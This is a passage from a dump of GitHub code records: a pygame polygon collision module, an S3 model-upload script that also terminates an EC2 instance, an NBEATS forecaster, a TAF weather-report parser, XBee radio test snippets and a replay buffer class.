= p.position_Y\r\n posx2 = p2.position_X\r\n posy2 = p2.position_Y\r\n\r\n nposx = posx + cos(p.direction)*p.vitesse*temps * m\r\n nposy = posy - sin(p.direction)*p.vitesse*temps* m\r\n nposx2 = posx2 + cos(p2.direction)*p2.vitesse*temps * m\r\n nposy2 = posy2 - sin(p2.direction)*p2.vitesse*temps* m\r\n dist = norm((posx - posx2, posy - posy2))\r\n ndist = norm((nposx - nposx2, nposy - nposy2))\r\n\r\n return ndist < dist\r\n \"\"\"\r\n\r\n###________________Collisions balles___________________:\r\ndef between(a,b,c): #return True si a est entre b et c\r\n return (a>=min(b,c) and a<=max(b,c))\r\n\r\ndef point_colli(surface, pygame, p, p2): \r\n list_colli = list()\r\n pt1 = list()\r\n pt2 = list()\r\n #________________trouver l'intersection précise_____________\r\n e = p.edges\r\n e2 = p2.edges\r\n ed = e\r\n ed2 = e2\r\n for i in range(p.n):#pour chaque angle i du poly\r\n j = (i+1)%(p.n) #j angle suivant\r\n #pygame.draw.line(surface, (250, 0, 200), e[i], e[j], 5)#à_suppr\r\n #pygame.display.flip()#à_suppr\r\n #équation de l'arête de p:\r\n M = e[i][1] - e[j][1]# [1] -> y\r\n N = e[j][0] - e[i][0]# [0] -> x\r\n Q = -M*e[j][0] - N*e[j][1] #Mx+Ny+Q == 0\r\n\r\n #équation des arêtes de p2:\r\n for k in range(p2.n):#pour chaque angle k du poly\r\n l = (k+1)%(p2.n) #l angle suivant\r\n #pygame.draw.line(surface, (250, 200, 0), e2[k], e2[l], 5)#à_suppr\r\n #pygame.display.flip()#à_suppr\r\n #équation de l'arête de p2:\r\n A = e2[k][1] - e2[l][1]# [1] -> y\r\n B = e2[l][0] - e2[k][0]# [0] -> x\r\n C = -A*e2[k][0] - B*e2[k][1] #Ax+By+C == 0\r\n \r\n if (A*N - B*M == 0) and (B*Q - C*N == 0): #parallèle\r\n print(\"//\") #__________bug____________\r\n #on regarde maintenant si les polygones se touchent:\r\n if between(ed2[k][0], ed[i][0], ed[j][0]) and between(ed2[k][1], ed[i][1], ed[j][1]):\r\n list_colli.append(ed2[k])\r\n if between(ed2[l][0], ed[i][0], ed[j][0]) and between(ed2[l][1], ed[i][1], ed[j][1]):\r\n list_colli.append(ed2[l])\r\n if between(ed[i][0], ed2[k][0], ed2[l][0]) and between(ed[i][1], ed2[k][1], ed2[l][1]):\r\n list_colli.append(ed[i])\r\n if between(ed[j][0], ed2[k][0], ed2[l][0]) and between(ed[j][1], ed2[k][1], ed2[l][1]):\r\n list_colli.append(ed[j])\r\n\r\n elif A*N - B*M != 0: \r\n #intersection en X, Y\r\n X = (B*Q - C*N) / (A*N - B*M)\r\n Y = (A*Q - M*C) / (M*B - A*N)\r\n \r\n #pygame.draw.rect(surface, (255,150,150), [X-3,Y-3,6,6], 5)#à_suppr\r\n #pygame.display.flip()#à_suppr\r\n #print(X, ed[i][0], ed[j][0], ed2[k][0],ed2[l][0])\r\n #print(Y, ed[i][1], ed[j][1], ed2[k][1],ed2[l][1])\r\n #input()\r\n #on vérifie que l'intersection est dans les arêtes\r\n #pygame.draw.rect(surface, (0,0,0), [X-3,Y-3,6,6], 5)#à_suppr\r\n #pygame.display.flip()#à_suppr\r\n if between(X, ed[i][0], ed[j][0]) and between(X, ed2[k][0], ed2[l][0]) and between(Y, ed[i][1], ed[j][1]) and between(Y, ed2[k][1], ed2[l][1]):\r\n list_colli.append([X,Y])\r\n if pt1 == list():\r\n pt1 = [e2[k], e2[l]]\r\n \r\n \r\n #pygame.draw.line(surface, p2.color, e2[k], e2[l], 5)#à_suppr\r\n #pygame.draw.line(surface, p.color, e[i], e[j], 5)#à_suppr\r\n\r\n if list_colli != []: #les collisions existent\r\n for pos in list_colli:\r\n pos[0]-=3\r\n pos[1]-=3\r\n if len(pos) < 4:\r\n pos.append(6) #add dimension\r\n pos.append(6) #add dimension\r\n pygame.draw.rect(surface, (255,50,50), pos, 10)\r\n\r\n return list_colli, [pt1, pt2]\r\n\r\ndef collision(surface, pygame, p, p2):\r\n \r\n m1 = [[0,0], [0,0]] #vect collision si seulement 1 point de collision\r\n pts_colli, m1 = point_colli(surface, pygame, p,p2)\r\n m1 = m1[0]\r\n if pts_colli == []:\r\n return\r\n \r\n #0: calcul du point de collision M\r\n Mean = mean(pts_colli)\r\n pygame.draw.rect(surface, (255,255,255), Mean, 7)\r\n M = Mean[:2]\r\n #0.1: calcul vecteur GM\r\n GM = np.array(vect([p.x, p.y],M))\r\n #0.2: calcul du vecteur m et mo (m orthogonal). m c'est le vecteur de la collision\r\n v = np.array(p.v)\r\n w = np.array(p.w)\r\n Vm = v + np.cross(GM,w) #vitesse du point m avant la collision \r\n m = np.array(vect(pts_colli[0][:3], pts_colli[-1][:3]))\r\n if not(m.any()):\r\n m = vect(m1[0], m1[1]) + [0]\r\n m = np.array(m[:3])\r\n mo = np.cross(m, [0,0,1]) #on veut un vecteur en direction du centre du polygone\r\n m /= norm(m)\r\n mo /= norm(mo)\r\n \r\n mo2 = mo[:2]\r\n if norm(GM + mo2) < norm(GM - mo2):\r\n mo *= -1\r\n pygame.draw.line(surface, (255, 10, 10), M, [M[0] + 100*mo[0], M[1] + 100*mo[1]],1)\r\n #1: Vm = Vg + GM^w -> ancienne vitesse point collision\r\n pygame.draw.line(surface, (255, 255, 255), M, [M[0] + 50*Vm[0], M[1] + 50*Vm[1]],4)\r\n #si le polynome sort du mur c'est une fausse collision:\r\n yVm = prod_scal(Vm, mo)\r\n \r\n #2: Vm = (Vm*m)*m + (Vm*normal(m)) -> nouvelle vitesse point collision\r\n coeff_friction = (p.friction + p2.friction)/2 \r\n coeff_rebond = (p.rebond + p2.rebond) / 2\r\n\r\n Vm = coeff_friction * prod_scal(Vm, m) * m - coeff_rebond * prod_scal(Vm, mo) * mo\r\n pygame.draw.line(surface, (100, 250, 255), M, [M[0] + 50*Vm[0], M[1] + 50*Vm[1]],7)\r\n #3: V = w ^ GM + Vm -> itération de V et w\r\n #4 w = sqrt((E - a^v²)/(a^2))\r\n if yVm > 0:\r\n #print(\"fausse collision\")\r\n #input()\r\n return\r\n \r\n\r\n GMo = np.array(np.cross(GM,[0,0,1]))#GM orthogonal\r\n GMo /= norm(GMo)\r\n \r\n #print(prod_scal(v,GMo), prod_scal(Vm, GMo))\r\n turn = sgn(prod_scal(Vm - v, GMo))\r\n #ou prod_scal(Vm,GMo)\r\n #print(turn)\r\n for i in range(5): #nombre d'itérations\r\n \"\"\" \r\n print(\"Vg = \", v)\r\n print(\"w = \", w)\r\n print(\"w^GM = \", np.cross(w,GM)) \r\n print(\"Vm = \", Vm)\r\n print(\"E = \", p.E)\r\n print(\"nouv v = \", np.cross(w,GM) + Vm)\r\n print()\r\n \"\"\"\r\n v = np.cross(w,GM) + Vm #on modifie la vitesse /w\r\n w = list(w)\r\n if a1 * norm(v)**2 > p.E: #Bug lorsque v est trop grand\r\n print(\"erreur: trop rapide !\")\r\n v = v/(norm(v)+1) * sqrt(p.E/a1)\r\n\r\n w[2] = sqrt((p.E - a1 * norm(v)**2) / a2) * turn #on modifie la rotation /v\r\n w = np.array(w)\r\n \r\n w = list(w)\r\n p.v = v\r\n p.w = w\r\n \r\n pygame.draw.line(surface, (255, 255, 255), M, [M[0] + 200*GMo[0], M[1] + 200*GMo[1]],2)\r\n pygame.draw.line(surface, (0, 255, 255), [p.x, p.y], [p.x + 50*v[0], p.y + 50*v[1]],2)\r\n \r\n #pygame.display.flip()\r\n #input()\r\n\r\n \r\n\r\n\r\ndef draw_regular_polygon(surface, pygame, list_poly): #color, n ,tilt_angle, x, y, radius, width)\r\n for p in list_poly:\r\n n = p.n #num_sides\r\n x = p.x\r\n y = p.y\r\n r = p.radius\r\n pts_poly = list()\r\n for k in range(n):\r\n pts_poly.append([x + r*cos(2*pi*k/n+p.tilt), y + r*sin(2*pi*k/n+p.tilt)])\r\n pygame.draw.polygon(surface, p.color, pts_poly, p.width)\r\n pygame.draw.line(surface, p.color, [x,y], pts_poly[0],1)\r\n p.edges = pts_poly\r\n","repo_name":"Helazior/polygon","sub_path":"objet.py","file_name":"objet.py","file_ext":"py","file_size_in_byte":8980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42801097763","text":"\"\"\"\n\n** coded by shibinmak on 9/9/18 **\n** I pledge to do my best **\n** May all beings be Happy,Peaceful,Liberated **\n\n\"\"\"\nimport shutil\nimport os\nimport time\nimport sys\nimport datetime\nfrom config import config\npf = config.parentfolder\nos.system('pip install --user boto3')\n\ntime.sleep(5)\nimport boto3\na = config.aws_acess_key\ns = config.aws_secret_key\nr = config.aws_region\n\nproject = config.PROJECT_NAME\nnow = datetime.datetime.now().strftime(\"%b%d%Y%H%M\")\nparent = config.parent\nzname = '{}_MODEL_EXPORTED_{}'.format(project,now)\nzsource = os.path.join(parent, 'experiments/exported_model')\narchive = os.path.join(parent, '{}.zip'.format(zname))\nos.chdir(parent)\nprint('[INFO] ARCHIVING MODEL FOLDER..')\n\nshutil.make_archive(base_name=zname, format='zip', root_dir=parent, base_dir=zsource)\ns3 = boto3.resource('s3', aws_access_key_id='{}'.format(a),\n aws_secret_access_key='{}'.format(s), region_name='{}'.format(r))\nfilename = os.path.basename(archive)\ns3.Bucket('makmodels').upload_file(archive, filename)\n\nprint('[INFO] SUCESSFULLY UPLOADED TO S3 BUCKET')\n\ntime.sleep(15)\n\n\ndef terminate():\n print('[INFO] TERMINATING INSTANCE..')\n ec2 = boto3.resource('ec2', aws_access_key_id=config.aws_acess_key,\n aws_secret_access_key=config.aws_secret_key, region_name=config.aws_region)\n\n instances = ec2.instances.filter(Filters=[{'Name': 'instance-state-name', 'Values': ['running']}])\n id = []\n for i in instances:\n id.append(i.id)\n id = id[0]\n\n status = ec2.Instance(id=id).terminate()\n\n\n\n\nterminate()\n","repo_name":"shibinmak/football-player-tracking","sub_path":"utils/uploadModel.py","file_name":"uploadModel.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"78"} +{"seq_id":"42806781735","text":"from ray import tune\nfrom app.models.algorithms.darts_base import DartsForecaster\nfrom darts.models import NBEATSModel\nfrom app.utils.constants import N_EPOCHS_TORCH\n\n\nclass NBEATSForecaster(DartsForecaster):\n def __init__(self, meter_id: str, weather_agent: object = None):\n super().__init__(\n meter_id,\n NBEATSModel,\n name=\"NBEATS\",\n description=\"NBEATS (Neural Basis Expansion Analysis for Time Series) is a deep neural network architecture designed for time series forecasting. Note that this algorithm does not support future weather predictions.\",\n monitors_val=True,\n weather_agent=weather_agent,\n use_time_features=True,\n use_weather_features=False,\n )\n\n def get_hyperparam_search_space(self):\n # Note: If the algorithm allows hyperparameter search, it also needs to provide values for\n # self.min_t and self.grace_period\n # NOTE: loguniform helps to sample equally likely from different orders of magnitude\n return {\n \"input_chunk_length\": tune.choice([24, 2 * 24, 3 * 24, 7 * 24]),\n \"num_blocks\": tune.choice([1, 2, 3]),\n \"num_layers\": tune.choice([2, 4]),\n \"layer_widths\": tune.choice([256, 512, 1024, 2048]),\n \"batch_size\": tune.choice([16, 32, 64, 128]),\n # \"lr\"?\n }\n\n def get_static_params(self):\n # A note on covariate lags: We need to specify the lags of the covariates for Darts implementations. For example, depending on the context, a lag of k can mean that the covariate value at time t-k will be used to predict the target value at time t.\n # See also: https://unit8.com/resources/time-series-forecasting-using-past-and-future-external-data-with-darts/\n # A tuple (past=24, future=12) means that the 24 past and future 12 hours will be used for prediction\n return {\n \"n_epochs\": N_EPOCHS_TORCH,\n \"output_chunk_length\": 24,\n }\n\n def get_default_tunable_params(self):\n return {\n \"input_chunk_length\": 72,\n \"num_blocks\": 1,\n \"num_layers\": 4,\n \"layer_widths\": 512,\n \"batch_size\": 32,\n }\n\n def get_param_descriptions(self):\n return {\n \"input_chunk_length\": \"Number of past hours to use for prediction. For example, if set to 48, the model will use the past 48 hours to predict the next 24 hours.\",\n \"num_blocks\": \"The number of blocks per stack.\",\n \"num_layers\": \"Number of fully connected layers with ReLu activation per block\",\n \"layer_widths\": \"Number of neurons of the fully connected layers with ReLu activation in the blocks.\",\n \"batch_size\": \"Number of samples to process per update step.\",\n }\n","repo_name":"JuschakIWW/bws-stdf-preview","sub_path":"flask-backend/app/models/algorithms/nbeats.py","file_name":"nbeats.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72828005052","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 23 13:15:06 2016\n\n@author: hyang\n\"\"\"\nimport re\nimport csv\nimport numpy\nimport datetime\nimport pytz\nfrom scipy.sparse import coo_matrix\n\ndef dbDatetimeConvert(dbstring):\n dbList = dbstring.split(\" \")\n dbDate = dbList[0]\n dbTime = dbList[1]\n dbDateList = dbDate.split(\"-\")\n dbTimeList = dbTime.split(\":\")\n return datetime.datetime(int(dbDateList[0]),int(dbDateList[1]),int(dbDateList[2]),int(dbTimeList[0]),int(dbTimeList[1]),int(dbTimeList[2]))\n\n# read in raw TAF data for a day\ndef readTAF(TAFstring,ICAO,issT,startT,endT,txtEnc,windEnc,catEnc,M1,M2,M3,localTZ = 'US/Eastern'):\n # set up the local time zone\n local_tz = pytz.timezone(localTZ) \n \n # prespecify the weather categories\n weatherList = [\"+\",\"-\",\"VC\",\"MI\",\"PR\",\"BC\",\"DR\",\"BL\",\"SH\",\"TS\",\"FZ\",\"DZ\",\"RA\",\"SN\",\\\n \"SG\",\"IC\",\"PL\",\"GR\",\"GS\",\"UP\",\"BR\",\"FG\",\"FU\",\"VA\",\"DU\",\"SA\",\"HZ\",\"PY\",\\\n \"PO\",\"SQ\",\"FC\",\"SS\"]\n tafPredictor = {}\n \n # input the TAF data from a string\n plainTXT = re.sub('\\s+', ' ', TAFstring).strip()\n plainTXT = plainTXT[:-1]\n # obtain a list of elements in an entry of TAF\n itemList = plainTXT.split(\" \")\n \n timeCheck = {}\n # it is a TAF entry\n if itemList[0] == ICAO:\n startEnt = 1\n else:\n startEnt = 2\n if itemList[1] == 'AMD':\n startEnt = 3\n \n weatherDict = {}\n for iKey in weatherList:\n weatherDict[iKey] = 0\n \n # append the issuance date time\n fmtimePt = []\n dayIss = int(itemList[startEnt][:2])\n hourIss = int(itemList[startEnt][-5:-3])\n minIss = int(itemList[startEnt][-3:-1])\n issuedTime = issT\n if not(issuedTime.day == dayIss and issuedTime.hour == hourIss and issuedTime.minute == minIss):\n raise ValueError(\"Please type in the issuance time which matches the TAF entry\")\n \n timestamp = datetime.datetime(issuedTime.year,issuedTime.month,dayIss,hourIss) + datetime.timedelta(1/24.0)\n fmtimePt.append(timestamp)\n \n validList = itemList[startEnt+1].split(\"/\")\n validToDay = int(validList[1][:2])\n validToHr = int(validList[1][2:])\n if validToDay < timestamp.day:\n validToMon = timestamp.month + 1\n if validToMon > 12:\n validToMon = 1\n validToYr = timestamp.year + 1\n else:\n validToYr = timestamp.year\n else:\n validToMon = timestamp.month\n validToYr = timestamp.year\n validToMin = 0\n \n startEnt += 2\n eventPt = [startEnt - 1]\n typePt = [0]\n \n # obtain each time point: FM/TEMPO/PROB\n for i in range(startEnt,len(itemList)):\n if (itemList[i][:2] == \"FM\"):\n tpDay = int(itemList[i][2:4])\n tpHr = int(itemList[i][4:6])\n tpMin = int(itemList[i][6:8])\n if tpDay < timestamp.day:\n tpMon = timestamp.month + 1\n if tpMon > 12:\n tpMon = 1\n tpYr = timestamp.year + 1\n else:\n tpYr = timestamp.year\n else:\n tpMon = timestamp.month\n tpYr = timestamp.year\n timeFM = datetime.datetime(tpYr,tpMon,tpDay,tpHr,tpMin)\n fmtimePt.append(timeFM)\n eventPt.append(i)\n typePt.append(0)\n elif (itemList[i] == \"TEMPO\"):\n eventPt.append(i)\n typePt.append(1)\n elif (itemList[i] == \"BECMG\"):\n eventPt.append(i)\n typePt.append(2)\n elif (itemList[i][:4] == \"PROB\"):\n eventPt.append(i)\n typePt.append(3)\n \n eventPt.append(len(itemList))\n typePt.append(4)\n \n # examine each segment\n fmCounter = 0\n default_ceiling = 120\n for i in range(len(eventPt) - 1):\n currentCeiling = 99999\n # obtain the starting and ending time\n if typePt[i] == 0:\n validFromYr = fmtimePt[fmCounter].year\n validFromMon = fmtimePt[fmCounter].month\n validFromDay = fmtimePt[fmCounter].day\n validFromHr = fmtimePt[fmCounter].hour\n validFromMin = fmtimePt[fmCounter].minute\n \n fmCounter += 1\n if fmCounter < len(fmtimePt):\n validToYrK = fmtimePt[fmCounter].year\n validToMonK = fmtimePt[fmCounter].month\n validToDayK = fmtimePt[fmCounter].day\n validToHrK = fmtimePt[fmCounter].hour\n validToMinK = fmtimePt[fmCounter].minute\n else:\n validToYrK = validToYr\n validToMonK = validToMon\n validToDayK = validToDay\n validToHrK = validToHr\n validToMinK = validToMin\n sSen = eventPt[i]+1\n eSen = eventPt[i+1]\n visibility = 10\n else:\n tempTList = itemList[eventPt[i]+1].split(\"/\")\n validFromDay = int(tempTList[0][:2])\n validFromHr = int(tempTList[0][2:])\n validFromMin = 0\n if validFromDay < timestamp.day:\n validFromMon = timestamp.month + 1\n if validFromMon > 12:\n validFromMon = 1\n validFromYr = timestamp.year + 1\n else:\n validFromYr = timestamp.year\n else:\n validFromMon = timestamp.month\n validFromYr = timestamp.year\n validToDayK = int(tempTList[1][:2])\n validToHrK = int(tempTList[1][2:])\n validToMinK = 0\n if validToDayK < timestamp.day:\n validToMonK = timestamp.month + 1\n if validToMonK > 12:\n validToMonK = 1\n validToYrK = timestamp.year + 1\n else:\n validToYrK = timestamp.year\n else:\n validToMonK = timestamp.month\n validToYrK = timestamp.year\n sSen = eventPt[i]+2\n eSen = eventPt[i+1]\n \n plusIND = 0\n minusIND = 0\n snowIND = 0\n rainIND = 0\n thunderIND = 0\n icepalIND = 0\n hailIND = 0\n mistIND = 0\n hazeIND = 0\n fogIND = 0\n # parse visibility, ceiling and weather information\n for word in itemList[sSen:eSen]:\n #check if the current index shows the wind speed\n if word[-2:] == \"KT\":\n angle = word[:3]\n speed = int(word[-4:-2])\n if word.find(\"G\") == -1:\n gust = 0\n gustSpeed = -1\n else:\n gust = 1\n gustSpeed = int(word[word.find(\"G\")-2:word.find(\"G\")])\n \n # check if the current index shows the visibility\n if word[-2:] == \"SM\":\n if word[0] == \"P\":\n visibility = 10\n else:\n visibility = eval(word[:-2])\n \n # check if the current index shows the cloud information\n if (\"BKN\" in word) or (\"OVC\" in word) or (\"VV\" in word):\n currentCeiling = min(currentCeiling,int(re.findall(\"[0-9]+\",word)[0]))\n else:\n # check if the current index shows the certain type of weather\n if \"+\" in word:\n plusIND = 1\n if \"-\" in word:\n minusIND = 1\n # if snow appears\n if \"SN\" in word:\n snowIND = 1\n # if rain or drizzle appears\n if (\"RA\" in word) or (\"DZ\" in word):\n rainIND = 1\n # if thunderstorm appears\n if (\"TS\" in word):\n thunderIND = 1\n # if freezing or ice pallet appears\n if (\"FZ\" in word) or (\"PL\" in word):\n icepalIND = 1\n # if hail appears\n if (\"GR\" in word) or (\"GS\" in word):\n hailIND = 1\n # if mist appears\n if (\"BR\" in word):\n mistIND = 1\n if (\"HZ\" in word):\n hazeIND = 1\n if (\"FG\" in word):\n fogIND = 1\n if currentCeiling == 99999:\n ceiling = default_ceiling\n else:\n ceiling = currentCeiling\n \n # iterate between the valid from time and the valid to time to obtain lines of predictors\n if validFromHr <= 23:\n validFromTM = datetime.datetime(validFromYr,validFromMon,validFromDay,validFromHr,validFromMin)\n else:\n validFromTM = datetime.datetime(validFromYr,validFromMon,validFromDay,validFromHr - 1,validFromMin)+datetime.timedelta(1/24.0)\n if validToHrK <= 23:\n validToTM = datetime.datetime(validToYrK,validToMonK,validToDayK,validToHrK,validToMinK)\n else:\n validToTM = datetime.datetime(validToYrK,validToMonK,validToDayK,validToHrK - 1,validToMinK)+datetime.timedelta(1/24.0)\n iterTM = validFromTM\n \n while iterTM < validToTM:\n # create a dictionary to show whether the time period within the TAF time range has been predicted\n # if so, append the data to the original list. Otherwise, start a new line\n timeCheck[(iterTM,typePt[i])] = [angle,speed,gust*gustSpeed,visibility,ceiling,plusIND,minusIND,snowIND,rainIND,thunderIND,icepalIND,hailIND,\\\n mistIND,hazeIND,fogIND]\n # add 30 mins to iterTM\n iterTM += datetime.timedelta(1/48.0)\n default_ceiling = ceiling\n for iKey in timeCheck.keys():\n lag = (iKey[0] - issuedTime).seconds/3600.0 + (iKey[0] - issuedTime).days * 24\n tafPredictor[(iKey[0].year,iKey[0].month,iKey[0].day,iKey[0].hour,iKey[0].minute)] = [lag,iKey[1],iKey[0].month,iKey[0].hour]+timeCheck[iKey]\n \n \n # for each time period in the specified date range\n # change the time to Zulu time\n currentDate = startT.replace(tzinfo = local_tz).astimezone(pytz.utc) + datetime.timedelta(4/1440.0)\n currentDate = datetime. datetime(currentDate.year,currentDate.month,currentDate.day,currentDate.hour,currentDate.minute)\n endDate = endT.replace(tzinfo = local_tz).astimezone(pytz.utc) + datetime.timedelta(4/1440.0)\n endDate = datetime.datetime(endDate.year,endDate.month,endDate.day,endDate.hour,endDate.minute)\n preRow = []\n preCol = []\n preData = []\n tp = []\n row = 0\n while currentDate < endDate:\n if (currentDate.year,currentDate.month,currentDate.day,currentDate.hour,currentDate.minute) in tafPredictor.keys():\n entryList = tafPredictor[(currentDate.year,currentDate.month,currentDate.day,currentDate.hour,currentDate.minute)]\n Xwind = entryList[4]\n Xwind = windEnc.transform([txtEnc.transform(Xwind)]).toarray()\n for col in range(M1):\n if Xwind[0][col] != 0:\n preData.append(Xwind[0][col])\n preRow.append(row)\n preCol.append(col)\n # month/hour/reportType\n Xcat = [entryList[2],entryList[3],entryList[1]]\n Xcat = catEnc.transform(Xcat).toarray()\n for col in range(M1,M1+M2):\n if Xcat[0][col - M1] != 0:\n preData.append(Xcat[0][col - M1])\n preRow.append(row)\n preCol.append(col)\n Xdata = [entryList[0]]+entryList[5:]\n for col in range(M1+M2,M1+M2+len(Xdata)):\n if Xdata[col - M1 - M2] != 0:\n preData.append(Xdata[col - M1 - M2])\n preRow.append(row)\n preCol.append(col)\n currentDate += datetime.timedelta(1/48.0)\n tp.append(row)\n row += 1\n Xsparse = coo_matrix((preData,(preRow,preCol)),shape=(row, M1+M2+M3))\n return Xsparse,tp\n\ndef detCapSeq(X,tp,clf,iniType):\n ypred = clf.predict(X)\n ypred = [iniType]+ypred\n fo = open(\"detCapSeq.csv\",\"wb\")\n csvWriter = csv.writer(fo,dialect = \"excel\")\n csvWriter.writerow(ypred)\n fo.close()\n \ndef scenMatGen(X,T,N,tp,clf,iniType):\n horizon = min(T,len(tp));\n Xstoch = X[1:horizon,:];\n if len(tp) > T:\n Xdet = X[T:,:]\n else:\n Xdet = []\n yprob = clf.predict_prob(Xstoch)\n if Xdet != []:\n ypred = clf.predict(Xdet)\n else:\n ypred = []\n \n # generate N scenarios\n elements = range(1,41)\n weatherMat = numpy.zeros([N,horizon])\n weatherMat[:,0] = iniType\n for t in range(1,horizon):\n probList = yprob[t-1,:]\n weatherMat[:,t] = numpy.random.choice(elements,N,probList)\n \n # generate the coonnection matrix\n currentPartition = {1:range(N)}\n connectionMat = numpy.zeros([N,horizon])\n for t in range(1,horizon):\n newPartition = {}\n for i in currentPartition.keys():\n iSet = {}\n for v in currentPartition[i]:\n connectionMat[v,t-1] = i\n if not(weatherMat[v,t] in iSet.keys()):\n iSet[weatherMat[v,t]] = v\n newPartition[v] = [v]\n else:\n newPartition[iSet[weatherMat[v,t]]].append(v)\n currentPartition = newPartition\n for i in currentPartition.keys():\n for v in currentPartition[i]:\n connectionMat[v,horizon - 1] = i\n fo1 = open('weatherMat.csv',\"wb\")\n csvWriter = csv.writer(fo1,dialect = \"excel\")\n for n in len(weatherMat):\n printList = list(weatherMat[n,:])+ypred\n csvWriter.writerow(printList)\n fo1.close()\n fo2 = open('connectionoMat.csv',\"wb\")\n csvWriter = csv.writer(fo2,dialect = \"excel\")\n for n in len(connectionMat):\n printList = list(connectionMat[n,:])+[weatherMat[n,-1]]*len(ypred)\n csvWriter.writerow(printList)\n fo2.close()\n \n \n \n \ndef scenTreeGen(X, tp, clf, iniType):\n yprob = clf.predict_proba(X)\n# T = len(tp) - 1\n \n # total number of possible scenario\n# totalPoss = 1\n yl = numpy.array(range(len(yprob[0])))\n PossList = [[iniType]]\n ProbList = [[1]]\n for i in tp[1:]:\n yind = numpy.greater(yprob[i],0.05)\n PossList.append([j + 1 for j in list(yl[yind])])\n ProbList.append(list(yprob[i][yind]/(float(sum(yprob[i][yind])))))\n# totalPoss = totalPoss * sum(yind)\n# connMat = numpy.zeros([totalPoss,T+1])\n# scenMat = numpy.zeros([totalPoss,T+1])\n# breakL = 1\n# for t in range(T,-1,-1):\n# connMat[:,t] = numpy.repeat(range(1,totalPoss+1,breakL),breakL)\n# breakL = breakL*len(PossList[t])\n# scenMat[:,t] = numpy.array(list(numpy.repeat(PossList[t],breakL/len(PossList[t])))*(totalPoss/breakL))\n# return connMat.astype(int), scenMat.astype(int), PossList, ProbList\n return PossList,ProbList","repo_name":"haoxiangyang89/GDPOptimize","sub_path":"src/METAR_TAF_output.py","file_name":"METAR_TAF_output.py","file_ext":"py","file_size_in_byte":14963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23516971970","text":"from digi.xbee.devices import XBeeDevice, RemoteXBeeDevice, XBee64BitAddress, XBeeMessage\nfrom digi.xbee.io import IOLine, IOMode, IOValue\n\n\nxbee = XBeeDevice('/dev/tty.usbserial-A505N9YU', 9600)\n\nxbee.open()\n\n#remote_xbee = RemoteXBeeDevice(xbee,XBee64BitAddress.from_hex_string(\"0013A20041574921\"))\n\n#a = xbee.send_data(remote_xbee, \"Hello\")\n\n#print(a)\n#while True:\n#\tprint('listening...')\n#\tmessage = xbee.read_data(1000)\n#\tprint(message.data)\n\n# Define callback.\ndef my_data_received_callback(xbee_message):\n print(xbee_message.data)\n\nprint('one')\n# Add the callback.\nxbee.add_data_received_callback(my_data_received_callback)\nprint('two')\n\n\nfrom digi.xbee.devices import XBeeDevice, RemoteXBeeDevice, XBee64BitAddress\nxbee = XBeeDevice('/dev/tty.usbserial-A505NAFC', 9600)\nxbee.open()\nremote = RemoteXBeeDevice(xbee, XBee64BitAddress.from_hex_string(\"0013A2004127CAEC\"))\nxbee.send_data(remote, \"Hello!\")\n\n\n\n\nfrom digi.xbee.devices import DigiMeshDevice, RemoteDigiMeshDevice, XBee64BitAddress\nxbee = DigiMeshDevice('/dev/tty.usbserial-A505NAFC', 9600)\nxbee.open()\nremote = RemoteDigiMeshDevice(xbee, XBee64BitAddress.from_hex_string(\"0013A2004127CAEC\"))\nxbee.send_data(remote, \"Hello!\")\n\n","repo_name":"ewandersonUCDavis/XBee_Python","sub_path":"python3/onOff_3.py","file_name":"onOff_3.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5373131850","text":"CREATE_VELOCITY_RECORD ={'unit_run_mode': \"不调频调峰\",\n 'press_loss_range': [1.0, 1.5],\n 'velocity_range':[60, 110],\n 'suitable_turbine_units': ['联合循环', '太阳轮']\n }\n\nCREATE_SERIES_RECORD = {\n \"id\": 1,\n 'code': \"VSL\",\n 'structure': \"提升式、一主一调共用阀壳,与汽缸直连。\",\n 'use_scene':'适用于全周进汽、带基本负荷为主的机组;也适用于机组再热后汽缸的进汽阀门;',\n 'typical_turbine_units': ['196中压', '169高中压'],\n 'sketch': 'base64-image'\n}","repo_name":"ypgsh/test","sub_path":"test/data/base_dbs_data.py","file_name":"base_dbs_data.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40186662620","text":"import numpy as np\nimport random\nfrom collections import namedtuple, deque\n\nimport torch\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nclass Memory:\n \"\"\"Fixed-size buffer to store experience (e) tuples.\"\"\"\n\n def __init__(self, a_size, buffer_size, batch_size, random_seed):\n \"\"\"Initialize a ReplayBuffer object.\n\n Params\n ======\n a_size (int): dimension of each action (a)\n buffer_size (int): maximum size of buffer\n batch_size (int): size of each training batch\n random_seed (int): random seed\n \"\"\"\n self.a_size = a_size\n self.buffer = deque(maxlen=buffer_size) \n self.batch_size = batch_size\n #self.experience = namedtuple(\"experience\", field_names=[\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n self.e = namedtuple(\"e\", field_names=[\"s\", \"a\", \"r\", \"s2\", \"done\"])\n self.random_seed = random.seed(random_seed)\n \n def add(self, s, a, r, s2, done):\n \"\"\"Add a new experience (e) to memory buffer.\"\"\"\n e = self.e(s, a, r, s2, done)\n self.buffer.append(e)\n \n def sample(self):\n \"\"\"Randomly sample a batch of experiences (E) from buffer.\"\"\"\n E = random.sample(self.buffer, k=self.batch_size)\n\n S = torch.from_numpy(np.vstack([e.s for e in E if e is not None])).float().to(device)\n A = torch.from_numpy(np.vstack([e.a for e in E if e is not None])).long().to(device)\n rewards = torch.from_numpy(np.vstack([e.r for e in E if e is not None])).float().to(device)\n S2 = torch.from_numpy(np.vstack([e.s2 for e in E if e is not None])).float().to(device)\n dones = torch.from_numpy(np.vstack([e.done for e in E if e is not None]).astype(np.uint8)).float().to(device)\n \n return (S, A, rewards, S2, dones)\n\n def __len__(self):\n \"\"\"Return the current size of internal buffer.\"\"\"\n return 